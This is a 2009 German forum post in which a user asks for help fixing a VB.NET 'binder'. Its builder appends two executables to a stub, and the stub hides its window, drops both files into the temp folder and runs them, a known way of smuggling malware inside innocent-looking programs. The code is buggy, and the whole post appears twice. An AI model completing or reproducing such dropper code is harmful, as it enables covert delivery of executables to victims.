inmate
14.07.2009, 16:10
Moin Leute , ich weis echt nicht mehr weiter.
Also ich wollte nen Binder machen aber irgenwie geht das nicht :/
Ich bekomm ne Fehlermeldung :"Ungültige Konvertierung von typ byte"
Ich habe schon extra die Builder Methode von ThePapst genommen , da ich dacht es läge vllt an meiner aber so war es nicht :(
Hier der Builder :
Imports Microsoft.VisualBasic.Compatibility
Imports System.IO
Public Class frmMain
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
With SaveFileDialog1
.FileName = "Bound.exe"
.CheckPathExists = True
.Filter = "executable datas(*.exe,*.bat) | *.exe*,*.bat*"
.ShowDialog()
End With
Dim bytes1() As Byte = My.Computer.FileSystem.ReadAllBytes(TextBox1.Text)
Dim bytes2() As Byte = My.Computer.FileSystem.ReadAllBytes(TextBox2.Text)
File.Copy(My.Application.Info.DirectoryPath & "\stub.exe", SaveFileDialog1.FileName)
Dim Trennzeichen As Char = "#"
Dim Einstellungen As New VB6.FixedLengthString(100)
Einstellungen.Value = bytes1 & Trennzeichen & bytes2
FileOpen(1, (SaveFileDialog1.FileName), OpenMode.Binary)
FilePut(1, Einstellungen.Value, LOF(1) + 1)
FileClose(1)
MsgBox("Datei erfolgreich gebunden!", MsgBoxStyle.Information, "Succesfully")
und hier die stub:
Imports System.IO
Imports Microsoft.VisualBasic.Compatibility
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Hide()
File.Copy(Application.ExecutablePath, My.Application.Info.DirectoryPath & "\Stubkopie.exe")
Dim Einstellungen As New Compatibility.VB6.FixedLengthString(100)
FileOpen(1, (My.Application.Info.DirectoryPath & "\Stubkopie.exe"), OpenMode.Binary)
FileGet(1, Einstellungen.Value, LOF(1) - 99)
FileClose(1)
Dim Trennzeichen As Char = "#"
Dim Builderdaten As String() = Einstellungen.Value.Split(Trennzeichen)
File.Delete(My.Application.Info.DirectoryPath & "\Stubkopie.exe")
Dim bytes1() As Byte = {Builderdaten(0)}
Dim bytes2() As Byte = {Builderdaten(1)}
IO.File.WriteAllBytes(Environ("tmp") & "\Bind1.exe", bytes1)
IO.File.WriteAllBytes(Environ("tmp") & "\Bind2.exe", bytes2)
Process.Start(Environ("tmp") & "\Bind1.exe")
Process.Start(Environ("tmp") & "\Bind2.exe")
End Sub
Private Sub entpacken()
End Sub
End Class
Ich möchte einfach nur das die beiden Dateien in bytearrays an die Stub übergeben werden.Aus der Stub heraus sollen sie ins Verzeichniss "tmp" gedroppt und ausgeführt werden.
Hoffentlich findet einer meine(n) Fehler
mfG
edit:
Ok der Fehler lag im Builder , ich darf die bytes nicht in string konvertieren , aber jetzt kommt hier folgender Fehler:
Der & operator ist für die Typten "1-Dimensionales Array" und "Char" nicht definiert
/push , weis es denn echt keiner :(
Also ich wollte nen Binder machen aber irgenwie geht das nicht :/
Ich bekomm ne Fehlermeldung :"Ungültige Konvertierung von typ byte"
Ich habe schon extra die Builder Methode von ThePapst genommen , da ich dacht es läge vllt an meiner aber so war es nicht :(
Hier der Builder :
Imports Microsoft.VisualBasic.Compatibility
Imports System.IO
Public Class frmMain
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
With SaveFileDialog1
.FileName = "Bound.exe"
.CheckPathExists = True
.Filter = "executable datas(*.exe,*.bat) | *.exe*,*.bat*"
.ShowDialog()
End With
Dim bytes1() As Byte = My.Computer.FileSystem.ReadAllBytes(TextBox1.Text)
Dim bytes2() As Byte = My.Computer.FileSystem.ReadAllBytes(TextBox2.Text)
File.Copy(My.Application.Info.DirectoryPath & "\stub.exe", SaveFileDialog1.FileName)
Dim Trennzeichen As Char = "#"
Dim Einstellungen As New VB6.FixedLengthString(100)
Einstellungen.Value = bytes1 & Trennzeichen & bytes2
FileOpen(1, (SaveFileDialog1.FileName), OpenMode.Binary)
FilePut(1, Einstellungen.Value, LOF(1) + 1)
FileClose(1)
MsgBox("Datei erfolgreich gebunden!", MsgBoxStyle.Information, "Succesfully")
und hier die stub:
Imports System.IO
Imports Microsoft.VisualBasic.Compatibility
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Hide()
File.Copy(Application.ExecutablePath, My.Application.Info.DirectoryPath & "\Stubkopie.exe")
Dim Einstellungen As New Compatibility.VB6.FixedLengthString(100)
FileOpen(1, (My.Application.Info.DirectoryPath & "\Stubkopie.exe"), OpenMode.Binary)
FileGet(1, Einstellungen.Value, LOF(1) - 99)
FileClose(1)
Dim Trennzeichen As Char = "#"
Dim Builderdaten As String() = Einstellungen.Value.Split(Trennzeichen)
File.Delete(My.Application.Info.DirectoryPath & "\Stubkopie.exe")
Dim bytes1() As Byte = {Builderdaten(0)}
Dim bytes2() As Byte = {Builderdaten(1)}
IO.File.WriteAllBytes(Environ("tmp") & "\Bind1.exe", bytes1)
IO.File.WriteAllBytes(Environ("tmp") & "\Bind2.exe", bytes2)
Process.Start(Environ("tmp") & "\Bind1.exe")
Process.Start(Environ("tmp") & "\Bind2.exe")
End Sub
Private Sub entpacken()
End Sub
End Class
Ich möchte einfach nur das die beiden Dateien in bytearrays an die Stub übergeben werden.Aus der Stub heraus sollen sie ins Verzeichniss "tmp" gedroppt und ausgeführt werden.
Hoffentlich findet einer meine(n) Fehler
mfG
edit:
Ok der Fehler lag im Builder , ich darf die bytes nicht in string konvertieren , aber jetzt kommt hier folgender Fehler:
Der & operator ist für die Typten "1-Dimensionales Array" und "Char" nicht definiert
/push , weis es denn echt keiner :(